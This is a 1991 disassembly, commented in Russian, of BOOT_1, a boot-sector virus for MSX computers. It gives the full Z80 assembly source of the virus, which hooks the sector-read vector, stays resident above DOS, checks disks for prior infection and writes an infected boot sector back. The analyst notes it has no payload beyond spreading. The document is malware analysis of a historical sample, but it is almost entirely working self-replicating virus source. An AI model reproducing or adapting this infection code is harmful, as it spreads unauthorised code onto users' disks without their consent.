;       ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬│
;       ┴                 Вирус с кличкой BOOT_1                   ┴
;       ┴ (детектируется программой AUS.COM (Copyright by MAXWOLF) ┴
;       ┴    "!" по классификации Н.Н.Безрукого: RB-256-1          ┴
;       ┴ Дизассемблирован  А.Пином (Andrew Pin)  10-nov-91  2:53p ┴
;       ┌┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┐
;  - Этот идиотский вирус плодится как кролик, но ничего больше не делает.
;  - Он только записывает себя в boot-sector, увеличивая первый байт копии
; на единицу.
;  - Его отличительная черта - перед тем, как записаться на диск, он вос╨
; станавливает программу загрузки системы из ROM - т.е. убивает чужой ви╨
; рус (или speed-boot).
;  - Проколы начинаются тогда, когда он пытается записаться в нестандартный
; boot-sector "MP-BOOT" (Copyright by A&K Co.).
;  - Его место в памяти над операционкой. Используемая ловушка - F270h.
;  - Детектируется и уничтожается программой-антивирусом AUS.COM

        .z80
        .radix  10

Cont    EQU     05A21h  ; (?) Какой-то адрес в программе RESET. Я считаю,
                        ; что это "продолжение" инициализации компьютера
Enigma  EQU     0E52Bh  ; ? (чем-то не понравившееся автору число)
DskArea EQU     0F349h  ; Адрес начала области дискового обмена
DskIO   EQU     04010h  ; Адрес подпрограммы дискового обмена
Basic   EQU     04022h  ; Адрес начала интерпретатора BASIC
H.SRD   EQU     0F270h  ; Подпрограмма чтения сектора
CurDrv  EQU     0F2E1h  ; Имя текущего устройства
HIMEM   EQU     0F34Bh  ; "Верх" свободной памяти
BUFFER  EQU     0F351h  ; Адрес буфера загрузки сектора
BDOS    EQU     0F37Dh  ; Вектор функций BDOS

        .phase  0C000h  ; адреса первой половины 0-сектора

Data::  db      0EBh,0FEh,90h
        db      'AX-350  '
        db      0,2,2,1,0,2
        db      70h,0,0A0h,5,0F9h
        db      3,0,9,0,2,0,0,0,0D0h
Boot::  ld      (D_Rde),de      ; сохраняем Rde
        ld      (D_Ra),a        ; и Ra (Ra=0, значит холодный старт)
        ld      (hl),56h        ; что-то валяется в hl
        inc     hl
        ld      (hl),0C0h       ; по (hl) кладут 0C056h
Delta::
        ld      hl,(BUFFER)     ;░│ изменено вирусом (было:
        inc     h               ; ┴     ld      sp,0F51Fh
        inc     hl              ; ┴     ld      de,0C0ABh  )
        jp      (hl)            ;░┐
;----------------------------------
; Далее следует программа загрузки системы
; вплоть до символов  '=========='
;
        ld      c,0Fh
        Call    BDOS            ; функция OPEN FILE (на чтение)
        inc     a
        Jp      z,F_N_Fnd       ; переход, если нет файла
        ld      de,100h
        ld      c,1Ah
        Call    BDOS            ; уст. DMA (0100h) для загрузки системы
        ld      hl,1
        ld      (FCB+14),hl     ; текущий размер записи = 1
        ld      hl,03F00h       ; количество записей = 3F00h
        ld      de,FCB
        ld      c,27h
        Call    BDOS            ; функция RANDOM BLOCK READ
        Jp      100h
;----------------------------------
        ld      e,b
        ret     nz
        db      0CDh            ;├ 'Call 0'. На место нулей кладется какой-то
D_Rde:: dw      0               ;┐ конкретный адрес, полученный от программы
        ld      a,c             ;  инициализации компьютера.
        and     0FEh
        cp      2
        Jp      nz,Error
F_N_Fnd::
        ld      a,(D_Ra)        ; холодный BOOT - в Basic !
        and     a               ; теплый BOOT - ошибка загрузки !
        Jp      z,Basic
Error:: ld      de,M_Er
        Call    Con
        ld      c,7
        Call    BDOS            ; ожидание любой клавиши
        jr      Delta           ; и новая загрузка
;
Con::   ld      a,(de)          ; Вывод на консоль, начиная с адреса (de),
        or      a               ; строки символов (до нулевого байта).
        ret     z
        push    de
        ld      e,a
        ld      c,6
        Call    BDOS
        pop     de
        inc     de
        jr      Con
;
M_Er::  db      'Boot error',13,10,'Press any key for retry',13,10,0
FCB::   db      0,'MSXDOS  SYS' ; FCB файла
        ds      25,0            ;
D_Ra::  db      0               ; Место для сохранения регистра А
        ds      47,0            ; Свободное место
;==================================
;  Сам-Вирус...
;

        .phase  0       ; адреса вируса переменны, поэтому фаза
                        ; не имеет никакого значения
Begin:: db      2Ah
Start:: dec     hl
        push    hl              ; в стек пошел адрес Begin
        ld      de,21h
        dec     h               ; восст. адрес буфера 0-сектора
        add     hl,de           ; и получаем адрес 21h-го байта (Boot+2)
        ld      a,(hl)          ; в Ra кладем 33-й байт (21h) boot-sector'а
        cp      59h             ; (это младший байт значения D_Rde)
        ex      af,af'          ; Сохраним флаги на будущее
        ld      hl,(DskArea)    ; Загр. первые два байта обл. диск. обмена
        push    hl              ;   т.е. 'адрес чего-то'
        inc     hl              ; увеличиваем 'адрес чего-то' на 1
        ld      e,(hl)          ;
        inc     hl              ;
        ld      d,(hl)          ; de = ('адрес чего-то плюс 1')
        ld      hl,Enigma
        and     a
        sbc     hl,de           ; cp  ('адрес чего-то плюс 1'),Enigma
        pop     de
        pop     hl
        jr      z,No_Hook       ; Если =, то ловушку не устанавливаем
Set_V:: ld      bc,0FF00h
        ex      de,hl
        add     hl,bc           ; Rhl:=Quest+0FF00h
        ld      (DskArea),hl    ;
        ld      (HIMEM),hl
        ex      de,hl           ; Rhl = Start
        inc     b               ; Rde = HIMEM
        inc     b               ; Rbc = 100h
        push    de
        ldir                    ; Вешаем вирус над DOS'ом
        pop     hl
        ld      de,0BEh
        add     hl,de           ; Rhl:=HIMEM+0BEh (метка Hook)
        ld      a,(H.SRD)       ; Читаем вектор
        ld      de,(H.SRD+1)    ; хука H.SRD
        ld      (hl),a          ;░│
        inc     hl              ; ┴
        ld      (hl),e          ; ┴ сохраняем старый вектор H.SRD
        inc     hl              ; ┴
        ld      (hl),d          ;░┐
        inc     hl              ; Rhl = Run
        ld      (H.SRD+1),hl    ;
        ld      a,0C3h
        ld      (H.SRD),a
        and     a               ; Установить флаг Z=0
No_Hook::
        ld      hl,01F31h       ;░│
        ld      (Delta),hl      ; ┴
        ld      hl,011F5h       ; ┴
        ld      (Delta+2),hl    ; ┴  Воостанавливаем
        ld      de,14           ; ┴ шесть измененных байтов
        ld      hl,M_Er+24      ; ┴ в Boot-sector (ячейка Delta)
        ex      af,af'          ; ┴
        jr      nz,No_Add       ; ┴ не складывать, если 0-сектор нестандартный
        add     hl,de           ;░┐
No_Add::
        ld      (Delta+4),hl
        ex      af,af'
        jp      nz,Cont         ; уходим на RESET, если переустановлен H.SRD
        jp      Delta           ; переход на восстановленный загрузчик...
;
Virus:: push    bc              ; запоминаем все регистры
        push    de
        push    ix
        push    hl
        cp      7               ;░│
        jr      nz,Escape       ; ┴
        ld      a,(ix+3)        ; ┴ условия, по которым производится
        cp      2               ; ┴ чтение 0-сектора:
        jr      nz,Escape       ; ┴     Ra = 7
        ld      a,d             ; ┴ (ix+3) = 2 (размер сектора 200h)
        and     a               ; ┴     Rd = 0
        jr      nz,Escape       ;░┐
        ld      e,0             ; de = номер первого сектора
        ld      b,1             ;  b = количество секторов
        ld      c,(ix+1)        ; hl = адрес буфера
        ld      a,(CurDrv)      ;  a = номер дисковода
        and     1               ; уст. флаг переноса в 0
        Call    DskIO           ; чтение 0-сектора
        jr      c,Escape        ; выход, если ошибка
        pop     hl
        pop     ix
        push    ix              ; в вершине стека хранится указатель
        push    hl              ; на буфер загрузки сектора
        ld      de,2Fh
        add     hl,de
        ld      a,(hl)
        cp      23h             ; проверка на вирус
        jr      z,Escape        ; если сектор уже заражен, выход
        pop     hl
        push    hl
        ld      de,1Eh
        add     hl,de
        ex      de,hl
        ld      hl,7423h
        ld      bc,99h          ; программа загрузки boot-sector'а
        ldir                    ; обновляется шаблоном из ROM
        pop     de
        push    de
        inc     d
        push    de
        inc     b
        ld      hl,(DskArea)    ; во 2-ую половину boot-sector'а
        ldir                    ; заносится вирус
        jr      Salto
;
Escape::pop     hl              ; Возврат в подпрограмму H.SRD ...
        pop     ix
        pop     de
        pop     bc
Hook::  ret                     ; Сюда грузится
        ret                     ; вектор ловушки
        ret                     ; H.SRD (чтение сектора)
Run::   jr      Virus           ; На эту метку (Run) указывает измененный
;                               ; вектор H.SRD
Salto:: pop     hl
        inc     (hl)            ; увеличивает первый байт вируса (метка Begin)
        pop     hl
        push    hl
        ld      c,2Bh
        add     hl,bc
        ld      (hl),2Ah
        inc     hl
        ld      (hl),51h
        inc     hl
        ld      (hl),0F3h
        inc     hl
        ld      (hl),24h
        inc     hl
        ld      (hl),23h
        inc     hl
        ld      (hl),0E9h       ; вписывает в загрузчик переход на вирус
        pop     hl
        push    hl
        ld      d,b             ; de = 0
        ld      e,b
        inc     b               ;  b = 1
        ld      c,(ix+1)        ;  c = идентификатор структуры диска
        ld      a,(CurDrv)      ;  a = дисковод
        and     1
        scf                     ; уст. флага переноса в 1
        Call    DskIO           ; запись зараженного 0-сектора на диск
        jr      Escape          ; теперь можно выполнить и H.SRD

; Беспризорный хвост (по-моему это гафф и лучше обойтись без него!)
; ( db  1Dh,11h,28h,27h,1Fh,1Ch,16h,0,0,0,0,0,0,13,5,0C5h,7)
        dec     e
        ld      de,2728h
        rra
        inc     e
        ld      d,0
        nop
        nop
        nop
        nop
        nop
        nop
        inc     de
        dec     b
        push    bc
        rlca

        END

